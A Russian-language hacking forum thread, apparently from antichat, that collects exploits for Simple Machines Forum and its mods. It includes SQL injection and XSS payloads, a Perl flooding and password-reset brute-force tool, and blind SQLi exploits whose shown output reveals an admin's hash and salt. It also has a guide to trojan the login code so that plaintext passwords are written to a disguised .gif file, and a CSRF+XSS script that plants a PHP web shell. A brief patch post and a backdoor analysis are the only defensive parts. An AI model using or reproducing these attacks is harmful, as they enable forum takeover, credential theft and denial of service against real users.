Simple Machines Forum <= 1.1.6 Code Execution (LFI) Автор:~elmysterio ( a.k.a us ) Локальный инклуд раннее загруженного атачмента с расширением .gif, содержащим шелл http://milw0rm.com/exploits/7011
SMF <= 1.1.6 Karma Description Mod XSS Code: <script>alert(/XSS/)</script> Автор: mailbrush (Я) Не фильтрируется поле "За что" в моде кармы.
http://milw0rm.com/exploits/7011 СМФ имеет функцию изменения тем,так вот это уязвимость заключается в изменении настроек тем,а затем присвоения значение $ параметрам конфигурации,так что вы можете изменять настройки смф Итак: Sources/Themes.php 249 в index.php: Code: 'jsoption' => array('Themes.php', 'SetJavaScript') 1185 в Sources/Themes.php Code: function SetJavaScript() Затем эта функция выделяет темы в таблице переменных, которые вы послали 1205 в Sources/Themes.php Code: db_query(" REPLACE INTO {$db_prefix}themes (ID_THEME, ID_MEMBER, variable, value) VALUES ($settings[theme_id], $ID_MEMBER, SUBSTRING('$_GET[var]', 1, 255), SUBSTRING('" . (is_array($_GET['val']) ? implode(',', $_GET['val']) : $_GET['val']) . "', 1, 65534))", __FILE__, __LINE__); Зaтем считывает одну и ту же инфу тем же методом: Code: $request = db_query(" SELECT ID_THEME, variable, value FROM {$db_prefix}themes WHERE variable IN ('name', 'theme_url', 'theme_dir', 'images_url')" . (empty($modSettings['theme_default']) && !allowedTo('admin_forum') ? " AND ID_THEME IN ('$knownThemes') AND ID_THEME != 1" : '') . " AND ID_THEME != 0 LIMIT " . count(explode(',', $modSettings['knownThemes'])) * 8, __FILE__, __LINE__); 861 в Sources/Themes.php Code: while ($row = mysql_fetch_assoc($request)) Параметры в $context['available_themes'][TEMA] 869 в Sources/Themes.php Code: $context['available_themes'][$row['ID_THEME']][$row['variable']] = $row['value']; Затем принимает информацию по пунктам: 904 в Sources/Themes.php Code: foreach ($context['available_themes'] as $ID_THEME => $theme_data) И в настройки перменные принимают значения,который мы только что изменили 910 в Sources/Themes.php Code: $settings = $theme_data; И в конце концов, в том числе файл, использует значение $ theme_dir Code: include($settings['theme_dir'] . '/languages/Settings.' . $user_info['language'] . '.php')
Уязвимости в модуле Seo4SMF SQL Иньекции: Файл: seo4smf-redirect.php Куски уязвимого кода: Line 7-13 Code: $topic = $_GET['t']; $board = $_GET['b']; $other = $_GET['o']; $user = $_GET['u']; $tpage = $_GET['p']; $action = $_GET['a']; $param = $_GET['param']; Line 50-63 Code: $query = db_query(" SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b WHERE m.ID_TOPIC = $topic AND m.ID_BOARD = b.ID_BOARD IMIT 1", __FILE__, __LINE__); Line 105-108 Code: $query = db_query(" SELECT name FROM {$db_prefix}boards AS b WHERE ID_BOARD = $board LIMIT 1", __FILE__, __LINE__); Line 125 Code: $request = db_query("SELECT memberName FROM {$db_prefix}members where ID_MEMBER=".$user." limit 1", __FILE__, __LINE__); Line 143 Code: $request = db_query("SELECT subject FROM {$db_prefix}tp_articles where id=".$tpage." limit 1", __FILE__, __LINE__); Переменные не содержат никакие фильтры,поэтому можно провести Sql иньекцию. Code: http://site/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...,concat(username(),database()) – XSS: Файл: seo4smf-redirect.php Кусок уязвимого кода: Code: if(!empty($url)){ header('HTTP/1.1 301 Moved Permanently'); header('Location: '.$url); exit; } Code: http://site/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);
покапавшись на днях в интернете наткнулся на такой exploit для SMF 1.1.7 тут www.securitylab.ru Code: #!/usr/bin/perl use LWP::UserAgent; use Getopt::Std; use LWP::Simple; use HTTP::Request; #Author: Xianur0 #Uxmal666[at]gmail.com # Cracks links Password Recovery # Find Temporary Files executed by mods # DB function Flood by Error Log # File Path Disclosure # List installed Mods (Useful To Find Mods Vulnerable) # etc. .. print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n"; my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL] [Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n-c Cracks links Password Recovery (Recommended Use Proxy)"); version(); my $proxy = $ARGV[2] || ""; if($ARGV[0] ne "-c" && $proxy ne "") { $ua->proxy(["http"], "http://".$proxy); } getopts('fplbc', \%opt); crackeador() if $opt{c}; flood() if $opt{f}; path() if $opt{p}; list() if $opt{l}; temp() if $opt{b}; sub headers { $req->header('Accept' => 'text/html'); $req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3'); } sub version { $ua = LWP::UserAgent->new; $ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $req = HTTP::Request->new(GET => $url); &headers; $res = $ua->request($req); if ($res->is_success) { my $html = $res->content; if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by SMF (.*?)<\/a>/){ $version = $1; print "\n[X] SMF Version: $version\n"; if($version < "1.1.7") { print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X] http://milw0rm.com/search.php?dong=smf".$version."\n\n"; } }}} sub path { $req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers'); &headers; $res = $ua->request($req); if ($res->is_success) { my $html = $res->content; if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){ print "[X] Directory: $1\n"; } else { print "[!] Getting error Directory!\n";} } } sub flood { print "[X] Starting Flood! (Press Ctrl + C To Finish)\n"; $texto = "Flood!!!!!" x 15; $req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout'); &headers; for($i = 1; $i<10000; $i++) { $res = $ua->request($req); if ($res->is_success) { print "[-] Sent: ".$i."\n"; } else { print "[!] HTTP Error Query: " . $res->status_line . "\n"; } } } sub temp { @temps=('index.php~','Settings.php~','Settings_bak.php~'); foreach $temp (@temps) { $req = HTTP::Request->new(GET => $url."/".$temp); &headers; $res = $ua->request($req); if ($res->is_success) { print "[X] Temporary File Found: ".$url."/".$temp."\n"; } else {print "[!] Not Found: ".$url."/".$temp."\n";} } } sub list { $req = HTTP::Request->new(GET => $url."/Packages/installed.list"); &headers; $res = $ua->request($req); if ($res->is_success) { my $html = $res->content; my @htmls = split("\n", $html); foreach $mod (@htmls) { my @mod = split('\|\^\|', $mod); print "[X]Package:\nDescription: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n"; } } } sub crackeador() { $url = $ARGV[0]; $nick = $ARGV[1]; $id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID Admin] [Proxy:Puerto]\nExample: smf.pl -p http://www.simplemachines.org/community/ dschwab9 179 www.carlosslim.com:3128\n"); my $reminder = $url."?action=reminder"; my $smf = $reminder.";sa=setpassword;u=".$id.";code="; my $proxy = $ARGV[3]; if($proxy ne "") { $ua->proxy(["http"], "http://".$proxy); } sub mail() { my $content = HTTP::Request->new(GET => $reminder); $contenedor = $ua->request($content)->as_string; if ($contenedor =~ /Set-Cookie: (.*?) /){ print "\n[+] SESSION Detected: $1\n"; $session = $1; } else { die "[!] SESSION could not be found!\n";} if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){ print "\n[+] sc Detected: $1\n"; $sc = $1; } else { die "[!] SC could not be found!\n";} my $req = HTTP::Request->new(POST => $reminder.';sa=mail'); $req->content_type('application/x-www-form-urlencoded'); $req->content('user='.$nick.'&sc='.$sc.'&=enviar'); $req->header('Cookie' => $session); my $res = $ua->request($req)->as_string; if(!$res) {exit;} print "[x]Sent!\n"; } sub generador() { my $password = ""; my @chars = split(" ", "0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z"); for (my $i=0; $i < 10 ;$i++) { $_rand = int(rand 35); $password .= $chars[$_rand]; } return $password; } sub brute() { while($bucle ne "finito") { $code = generador(); my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code; my $content = HTTP::Request->new(GET => $reminder); my $content = $ua->request($content)->as_string; if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){ $sc = $1; } else { die "[!] SC could not be found!\n";} if ($content =~ /Set-Cookie: (.*?) /){ print "\n[+] New SESSION Detected: $1\n"; $session = $1; } else { die "[!] SESSION could not be found!\n";} print "[+] Testing Code: ".$code."\n"; my $req = HTTP::Request->new(POST => $reminder.';sa=mail'); $req->content_type('application/x-www-form-urlencoded'); $req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc); $req->header('Cookie' => $session); $res = $ua->request($req); if ($res->is_success) { if($res->content =~ '<input type="text" name="user" size="20" value="') { print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n"; exit; } } else { die "[!] HTTP response incorrect!\n";}}} print "\n[-] Sending Mail...\n\n"; mail(); print "\n[-] Attacking code link recovery...\n"; brute(); }
http://forum.antichat.ru/showpost.php?p=1047861&postcount=31 Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы: Code: $topic = (int)$_GET['t']; $board = (int)$_GET['b']; $user = (int)$_GET['u']; $tpage = (int)$_GET['p']; Целые пройти, чтобы избежать проверки данных Code: $other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']); $action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']); $param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']); Фильтр только для допустимых регулярок для SMF А тут делаем проверку на соответствие тем: Code: function seo_verifica_permisos($id, $tipo){ global $user_info, $db_prefix; if(!$id = (int)$id){ return false; } if($user_info['is_admin'] == '1'){ return true; //Если админ права по умолчанию } if($tipo == 'board'){ if($request = @db_query(" SELECT memberGroups FROM {$db_prefix}boards WHERE ID_BOARD = {$id} LIMIT 1", __FILE__, __LINE__)){ if($row = @mysql_fetch_assoc($request)){ mysql_free_result($request); } } if(!$permisos = @explode(',', $row['memberGroups'])){ if(!$permisos = (int)$row['memberGroups']){ return false; } } foreach($permisos as $valor){ if($valor == $user_info['groups'][0]){ return true; } } return false; }elseif($tipo == 'topic'){ if($request = @db_query(" SELECT ID_BOARD FROM {$db_prefix}topics WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){ if($row = @mysql_fetch_assoc($request)){ mysql_free_result($request); } } if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){ return true; }else{ return false; } }else{ return false; } } Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки: http://dump.ru/file/2460593 http://slil.ru/27454401 Пароль: underantichat?!
Скорее не баги, а так интересные наблюдения, где что хранится у смф: Ошибка при обработке пакетов: Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим: Code: http://forum.com/index.php~ или Code: http://www.forum.com/Settings.php ~ Например: http://foro.infiernohacker.com/index.php ~ Ошибка расширения файлов: Хранятся тут: Code: http://forum.com/Packages/installed.list Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list Директория на сервере: Хранится тут: Code: http://forum.com/SSI.php?ssi_layers Например: http://foro.infiernohacker.com/SSI.php?ssi_layers Кроме того логи записываются еще и в http://forum.com/error_log
Трояним SMF (сбор открытых паролей) И так открываем файл LogInOut.php который лежит в Source Редактируем файл... Ищем следующий код (он в дефолтном виде файла будет на 386 строке) PHP: if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login'])) $modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']); $Login = $_REQUEST['user']; После него подставляем такой код PHP: $Login = $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса $Passwd = $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса $fp = fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку fclose($fp); //закрываем открытый файл Должно получиться так PHP: .......... if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login'])) $modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']); $Login = $_REQUEST['user']; $Passwd = $_REQUEST['passwrd']; $fp = fopen("./attachments/wavatar1.gif","a+"); fwrite($fp,"$Login:$Passwd\r\n"); fclose($fp); // Get ready to set the cookie... $username = $user_settings['memberName']; $ID_MEMBER = $user_settings['ID_MEMBER']; .......... Логинимся... Мда звездочки пишуться в файл =\ Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент) Редактируем файл Login.template.php Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем) PHP: <form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context['character_set'], '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '> Теперь в этом ПОСТ запросе Удаляем следующий код PHP: ', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '> Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php Полезная информация: [Код который мы удалили он шифрует пароль в звездочки] Логинимся... и в файле который мы прописали появится логин и пароль Автор: .wolmer
Несколько слов о версии 1.9 1. Ошибках в форме опросов. Смотрим в файле Sources/Pool.php (164-166): Code: foreach ($_REQUEST['options'] as $id) { $id = (int) $id; Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся. Бага конечно не серьезная, но все же) 2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini. Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно http://forum.com/index.php?action=findmember; sesc = [hash] Ошибки скрипта задаются в пхп.ини, 3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти. Для неверующих: http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;type=rss 5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.
Member Awards 1.02 Blind SQL-Injection Blind SQL-Инъекция в моде Member AwardsАвтор: mailbrush Часть уязвимого кода (ManageAwards.php): PHP: // Load single award ifo for editing. $request = db_query(" SELECT ID_AWARD, awardName, gameName, timeAdded, filename, width, height FROM {$db_prefix}awards WHERE ID_AWARD = $_REQUEST[id] LIMIT 1", __FILE__, __LINE__); Уязвимость позволяет удаленному пользователю выполнить произвольные запросы в базу. Уязвимость существует в передаваемом параметре id. Дорк: Code: inurl:index.php?action=profile;sa=awardsMembers;id=1 На многих найденных форумах, вместо награды будет сообщение Оно возникает потому что удалённый пользователь не выбрал пользователя для просмотра, что есть обязаным для SMF. Решается это простоым добавлением id любого пользователя - Code: http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;[I]u=1[/I];id=1 Пример: Code: http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1+and+substring(version(),1)=5 Способ обхода фильтра и эксплуатации уязвимости: https://forum.antichat.ru/showpost.php?p=1329095&postcount=7592 https://forum.antichat.ru/threadnav46016-759-10.html
exploit для Blind SQLinj Member Awards 1.02 Code: SMF ] MemberAwards 1.0.2 exploit eLwaux(c)uasc && antichat 2009 thx: Grey && mailbrush usage: expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params} params: -v = get version() -u = get user() -d = get database() -an = get User Name (логин) -ap = get User Password (sha1 хеш) -as = get User Salt (сальт) -am = get User Mail (емейл) UAsc.org.UA/files/SMF-Awart-exploit.zip в скрипте: Code: $SHOW_ALL = 1; - показывать результат брута $SHOW_COUNT_REQ = 1; - показать количество запросов .. все ф-ции в таком формате: &getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc первый параметр - начало перебора, второй - конец. т.е. для AdminName будет перебор от chr(41) до chr(122). если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на 0..255, т.е. чтоб получилось так: &getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc в боевых условиях : Code: http://scrubs.net.ru/cms/forum/index.php ] Host: scrubs.net.ru BAD answer = '╬°шсър!' <-- Ошибка ] version() = 5 ] user() = us5729a@localhost ] database() = db ] id=1 NAME = zhbanito ] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932 ] id=1 SALT = fe81 ] id=1 MAIL = [email protected]
Member Awards 1.02 Blind SQL-Injection exploit Vulnerability: mailbrush Code: oRb Thnx: Grey, eLWAux Использует бинарный поиск. В начале скрипта конфиг: $url - урл до smf $member_id - кого брутить $tbl_prefix - префикс таблиц $error - текст ошибки, если награда не найдена. Example: Code: $ php smf.php passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86 Requests: 160 Time: 00:00:32
SMF 1.1.10 АВТОР: HAXTA4OK нужны права админа Code: function EditHoliday() { global $txt, $context, $db_prefix, $scripturl; loadTemplate('ManageCalendar'); $context['is_new'] = !isset($_REQUEST['holiday']); $context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit']; $context['sub_template'] = 'edit_holiday'; $context['admin_tabs']['tabs']['holidays']['is_selected'] = true; // Submitting? if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != '')) { checkSession(); if (isset($_REQUEST['delete'])) db_query(" DELETE FROM {$db_prefix}calendar_holidays WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__); else { $date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year'])); if (isset($_REQUEST['edit'])) db_query(" UPDATE {$db_prefix}calendar_holidays SET eventDate = '$date', title = '$_REQUEST[title]' WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__); else db_query(" INSERT INTO {$db_prefix}calendar_holidays (eventDate, title) VALUES ('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__); } updateStats('calendar'); redirectexit('action=managecalendar;sa=holidays'); } // Default states... if ($context['is_new']) $context['holiday'] = array( 'id' => 0, 'day' => date('d'), 'month' => date('m'), 'year' => '0000', 'title' => '' ); // If it's not new load the data. else { $request = db_query(" SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title FROM {$db_prefix}calendar_holidays WHERE ID_HOLIDAY = $_REQUEST[holiday] LIMIT 1", __FILE__, __LINE__); while ($row = mysql_fetch_assoc($request)) $context['holiday'] = array( 'id' => $row['ID_HOLIDAY'], 'day' => $row['day'], 'month' => $row['month'], 'year' => $row['year'] <= 4 ? 0 : $row['year'], 'title' => $row['title'] ); mysql_free_result($request); } // Last day for the drop down? $context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year'])); } уязвимое место holiday =) собственно сам пример http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5 реализация: http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5' узнаем кол-во колонок - их 5 из постов GREY'a делаем запрос http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5+and+(%23)%0Asubstring(version(),1,1)=5 у меня 5 ветка P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF
можно обойти ограничение на magic_quotes_gpc OFF если для изменения параметра theme_dir использовать POST запрос к Profile.php
Бекдор?! Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ! http://www.simplemachines.org/community/index.php?action=mascot Он посмотрел исходники Sources/Who.php - 660 строка: Code: function Mascot() { global $sourcedir; // Some important quotes. $O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array( 'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton', 'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff', 'Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken', 'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded. ~Laurie Anderson', 'I don\'t see the logic of rejecting data just because they seem incredible. ~Fred Hoyle', 'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle', ); mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),); $OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}); $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE='); require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw=='))); if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0); } Он деобфусцировал сей кусок кода и получил вот это: Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>My name is Earl</title> </head> <body> <h1>Watch out! He's a killer!</h1> <img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" /> </body> </html> Как по мне - очередная пасхалка, но все равно забавно.
Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS. Описание: загружает шелл по аналогичному принципу; способ требует авторизации в панеле администратора и выполнения браузером администратора представленного скрипта в контексте ЛЮБОГО домена. Настройки: 1) код шелла (это дело вкусовое, в скрипте стоит тестовый вариант); 2) ссылка на создание новой темы в целевом форуме; Пояснения: Первым звеном служит CSRF-уязвимость, заключающаяся в возможности подмены запроса на предпросмотр сообщения. Защита от публикации такого сообщения в форуме существует, а от предпросмотра нет. Эксплойт подменяет запрос админа на предпросмотр вновь создаваемой темы. Вторым звеном является декларированная возможность выполнения произвольного скрипта в контексте форума с помощью bb-тега [*html], доступного только администратору. Эксплойт отправляет вместе с запросом код подгрузки шелла, который выполнится в скрытом ифрейме (т.е. совершенно незаметно от админа). Для обхода защиты от такого рода атак, реализованной, например, в NoScript`е, эксплойт отправляет фрагментированный код. То есть запрос с другого домена, содержащий [*html]<img src=. onerror='eval(String.fromCharCode(bugoga))'>[*/html] , будет отфильтрован, а запрос [*html]<i[*/html][*html]mg src=. onerro[*/html][*html]r='eval(String.fromCharCode(bugoga[*/html][*html]))'>[*/html] отфильтрован не будет. Остальную информацию дублировать излишне, смотрите её в вышеприведенном посте. Эксплойт: Code: /*/ SMF 1.1 - 1.1.11 shell inj. via CSRF + XSS /// Example: <html><body><script src=smf_shell_inj.js></script></body></html> /// /// LeverOne 27.12.2009 /*/ //------------------------- start config ----------------------> php_code = window.php_code || 'if($_GET[lo]) echo($_GET[lo]);'; new_topic_url = window.new_topic_url || 'http://vulnsite.xz/smfforum/index.php?action=post;board=1.0'; //------------------------- end config ------------------------> index_code = escape('<?php\n\n// Try to handle it with the upper level index.php. (it should know what to do.)\n ' + php_code + '\n if (file_exists(dirname(dirname(__FILE__)) . \'/index.php\'))\n' + 'include (dirname(dirname(__FILE__)) .\'/index.php\');\n else\n exit;\n\n?>'); shell_inj = "function get_sesc(url) {" + " requester('GET', url, null," + " function() {" + " if (r.readyState == 4) {" + " sesc = r.responseText.match(/sesc=([a-z0-9]{32})/)[1] || null;" + " if (sesc != null) edit_index(sesc);" + " }" + " }" + " );" + "}" + "function edit_index(sesc) {" + " postdata = 'entire_file=" + index_code + "&submit=1&filename=index.php&sc=' + sesc;" + " requester('POST', './index.php?action=theme;th=1;sa=edit', postdata, null);" + "}" + "function requester(method, url, postdata, func) { " + " try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}" + " r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));" + " if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');" + " r.onreadystatechange = func;" + " r.send(postdata);" + "}" + "get_sesc(location.href);"; function toCharCode(string) { char_array = []; for (n = 0; n < string.length; n++) char_array.push(string.charCodeAt(n)); return char_array.toString(); } shell_inj = "[COLOR=White][[/COLOR]html]<i[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]mg src=. onerro[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]r='eval(String.fromCharCode(" + toCharCode(shell_inj) + "[COLOR=White][[/COLOR]/html][COLOR=White][[/COLOR]html]))'>[COLOR=White][[/COLOR]/html]"; document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' + '<form id=myform action=' + new_topic_url + ' method=post target=myfr>' + '<input type=hidden name=subject value=1>' + '<input type=hidden name=message value="' + shell_inj + '">' + '<input type=hidden name=preview value=1><\/form>'; document.getElementById('myform').submit();
